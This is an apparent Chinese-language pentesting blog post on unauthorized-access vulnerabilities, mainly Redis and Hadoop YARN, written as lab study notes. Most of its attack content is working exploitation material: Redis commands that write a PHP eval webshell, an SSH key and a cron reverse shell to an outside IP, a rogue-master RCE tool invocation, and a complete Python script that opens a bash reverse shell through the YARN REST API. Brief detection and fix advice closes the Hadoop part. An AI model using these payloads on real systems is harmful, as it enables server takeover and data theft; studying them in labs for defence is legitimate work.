未授权访问漏洞

未授权访问漏洞

概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无 需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见漏洞

Redis 未授权访问漏洞
Docker 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞

redis 未授权访问漏洞

redis简介

https://www.redis.com.cn/redis-intro.html

一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列

主要应用场景:

  1. 缓存数据
  2. 高速读写

组成:

主要是由两个程序组成

Redis 客户端 redis-cli
Redis 服务器 redis-server

客户端、服务器可以位于同一台计算机或两台不同的计算机中。(分布式)

漏洞发现

  1. 端口

    记住以下都是默认端口,有可能会出现更改的情况

    6379

    其他的默认端口

    MongoDB:27017
    Memcached:11211
    Jboss:8080
    VNC:5900、5901
    claDocker:2375

  2. 探测

    使用nmap进行端口扫描

    1
    nmap -v -Pn -p 6379 -sV -IP

    -v 显示过程

    -Pn no ping

    -sV 版本探测

    为什么要no ping ?

    因为大多数防火墙会拦截icmp(微软自带的,小皮等)

    但是端口是在网络层(tcp,udp),icmp是网络层

  3. 其他

    redis,mysql,postgresql一般都是监听在比本地

    redis java程序一般都会使用,并且java程序一般都存在ssrf,内网存在大量的redis访问漏洞

  4. 利用方法

    • redis 写webshell
    • redis写定时任务 ***** 重要
    • redis写ssh公钥
    • redis 主从复制

漏洞利用

写webshell

  1. 对主机进行端口扫描

    image-20240111111250680

    发现redis是连接上的

    由于nmap一直出的结果不是很理想,尝试使用yakit进一步爆破

    image-20240111111755959

    8080有一个apache服务尝试访问

    image-20240111111833512

  2. 尝试使用Redis连接

    1
    redis-cli -h 8.130.123.25

    redis:

    准备写webshell

    1
    2
    3
    4
    config set dir /var/www/html # 这个的局限性就是需要知道绝对路径,但是一般网站的绝对路径不是很好获取
    config set dbfilename webshell.php # 这个是设置保存数据库的文件的路径
    set a "<?php @eval($_POST['cmd']); ?>" # 写webshell
    save 保存
  3. 尝试访问

    image-20240111112424127

    写入成功

    image-20240111112919989

  4. 缺点

    • 可写权限的网站的绝对路径非常难找
    • 一般只有java才有,需要jsp写入webshell
    • redis 这台服务器没有web ******

写公钥

公私钥登录

  1. 生成公私钥 ssh-keygen

    公钥存放在 id_rsa.pub

    私钥存放在 id_rsa

  2. 安装公私钥

    root文件:/root/.ssh/authorized_keys

    其他用户文件:/home/user/.ssh/authorized_keys

  3. 注意

    其实写公钥的意思就是说,将我们自己的公钥写入到他的authorized_keys

利用过程

由于vps已经有windows的公钥,现在尝试使用kali

  1. kali连接vps redis

    image-20240111133512564

  2. kali生成 密钥,然后保存到文件

    image-20240111133912968

  3. 创建key-value

    value为公钥

    image-20240111134146455

  4. 将value保存到authorized_keys

    image-20240111134850510

    image-20240111134803781

  5. 尝试登录

    image-20240111135044122

    可以发现,虽然能连接上但是由于root用户存在密码就不能登录了

    这个也是不经常用这个的原因

  6. 缺点

    • 需要对redis flushall
    • ssh 不一定允许root登录
    • ssh 可能不对公网打开
    • 服务器不一定有ssh 服务 ***重要

写计划任务(常用)

因为linux一定存在计划任务

一般的定时任务路径是在

/var/spoll/cron

/etc/crontab

其实思路都是一样的,就是实利用redis可以保存数据库数据为文件的这么一个操作,我们就可以以此来写很多东西

CONFIG SET dir /var/spool/cronkey

config set dbfilename root

set xxx “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/124.71.45.28/4433 0>&1\n\n”

save

现在我们观察一下这个定时任务的格式是怎么样的

image-20240112200210287

  • 首先前后有两个换行符
  • 然后有五颗星,分别代表了 分钟 小时 天 月 星期几 然后执行的命令

接下来我们来分析一下写redis的步骤

image-20240112200620667

最后就是不要忘记了save

主从复制

动态链接库

windows : .dll

linux: .so

回顾一个知识点

php 的代码执行函数

1
2
3
4
5
system()
shell_exec()
exec()
passthru()
popen()

如果遇到了函数

1
disable_fuctions()

这个函数的作用是禁用某个函数

有一个问题如何绕过它

  1. 没有禁用全的话,可以尝试利用

  2. 创建一个新的函数

    就是使用.so .dll

  3. 把php打爆 uaf漏洞

  4. 把Linux打爆 bash脱壳

回过头来说,现在Redis没有可以执行的函数,现在这么办呢?

接下来的操作会使用到脚本

https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
https://github.com/0671/RabR

我使用的是最后一个

1
2
3
4
git clone https://github.com/0671/RabR.git
cd RabR

python3 redis-attack.py -r target.yijinglab.com -p 52257 -L 8.219.161.88 --brute

image-20240112211452585

这个脚本的功能就是将我们的动态链接库生成到对应的Redis主机,相当于帮他创建了一个执行任意代码的函数

原理

Redis主从复制原理-CSDN博客

简单理解为,我们创建一个动态来链接库文件,之后通过redis的主从复制功能将其下载下来然后架并且加载这个动态链接库,这个动态链接库的内容就是一个命令执行函数,所以我们可以反弹回shell

总结

redis的利用有四种方法

  1. 获取webshell

    这个需要有写权限,对于windows来说马,你还必须知道这个服务的绝对路径

  2. 写公钥

    我个人认为直接覆盖这个文件,是有很大的弊端

  3. 定时任务

    可能不能正常返回,高版本下直接回禁用config set

  4. 主从复制

    记住windwos主要使用的方法

Hadoop未授权访问

这个是一个开源的分布式的计算框架,用于处理大规模数据和存储问题

1.0 Hadoop 教程 | 菜鸟教程 (runoob.com)

漏洞成因

Hadoop YARN(Yet Another Resource Negotiator)用于集群资源管理和作业调度,是Hadoop集群的资源管理系统。

YARN 提供有默认开放在8088和8090的REST API(默认8088)允许用户直接通过API进行相关的应 用创建、任务提交执行等操作,如果配置不当可导致未授权访问的问题,攻击者无需认证即可通过 REST API部署任务来执行任意指令,最终完全控制服务器。

总结来说,这个配置文件如果开发者不开的话,可能就无法访问了,但是有些开发者偏要开,那就是为了不让我们失业

漏洞环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
version: '2'

services:
namenode:
image: vulhub/hadoop:2.8.1
environment:
- HDFS_CONF_dfs_namenode_name_dir=file:///hadoop/dfs/name
- CLUSTER_NAME=vulhub
- HDFS_CONF_dfs_replication=1
command: /namenode.sh

datanode:
image: vulhub/hadoop:2.8.1
environment:
- HDFS_CONF_dfs_datanode_data_dir=file:///hadoop/dfs/data
- CORE_CONF_fs_defaultFS=hdfs://namenode:8020
- CLUSTER_NAME=vulhub
- HDFS_CONF_dfs_replication=1
command: /datanode.sh

resourcemanager:
image: vulhub/hadoop:2.8.1
environment:
- CORE_CONF_fs_defaultFS=hdfs://namenode:8020
- YARN_CONF_yarn_log___aggregation___enable=true
command: /resourcemanager.sh
ports:
- "8088:8088"

nodemanager:
image: vulhub/hadoop:2.8.1
environment:
- CORE_CONF_fs_defaultFS=hdfs://namenode:8020
- YARN_CONF_yarn_resourcemanager_hostname=resourcemanager
- YARN_CONF_yarn_log___aggregation___enable=true
- YARN_CONF_yarn_nodemanager_remote___app___log___dir=/app-logs
command: /nodemanager.sh

漏洞复现

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import json

# 漏洞目标 URL
target = 'http://192.168.81.127:8088/'
# 反弹Shell 攻击机IP地址
lhost = '192.168.81.238'

url = f'{target}ws/v1/cluster/apps/new-application'
resp = requests.post(url).content.decode('utf-8')
resp_json = json.loads(resp)

app_id = resp_json['application-id']
url = f'{target}ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {'command': f'/bin/bash -i >& /dev/tcp/{lhost}/5566 0>&1'}
},
'application-type': 'YARN',
}
requests.post(url, json=data)

注意这个攻击机得监听着,不然反弹不了shell

接下来我们来实操一下

image-20240113092016975

启动一下docker

然后执行上面的代码就可以了

原理:

  1. 调用 New Application API 创建 Application
1
2
3
4
5
6
7
8
<NewApplication>
<application-id>application_1688957760252_0004</application-id>
<maximum-resource-capability>
<memory>8192</memory>
<vCores>4</vCores>
</maximum-resource-capability>
</NewApplication>

  1. 调用 Submit Application API 提交命令

    POST请求 http://ip:8088/ws/v1/cluster/apps,提交执行命令

漏洞发现

  1. fofa

    app=”APACHE-hadoop-YARN”

  2. POST请求

    http://ip:port/ws/v1/cluster/apps/new-application 发送POST请求,如果响应返回 application-id,则表明存在漏洞

漏洞修复

其实可以看得出来,我们只要对某些地区做好了身份验证就可以避免对大多数的事故了

  1. 如无必要,关闭 Hadoop Web 管理页面。
  2. 开启身份验证,没有授权的用户禁止访问
  3. 可以设置安全组,只有受信任的Ip才能访问某一些api

总结

对于这个漏洞,我们不难看出很多安全事故都是由于没有对相应的api做授权管理。现在前后端的开发模式,偏向api调用,就是后端写好了api前端调用然后获取对应的数据。

只需要对api 做身份认证就可以防止未授权访问


未授权访问漏洞
https://tsy244.github.io/2024/01/11/渗透/未授权访问漏洞/
Author
August Rosenberg
Posted on
January 11, 2024
Licensed under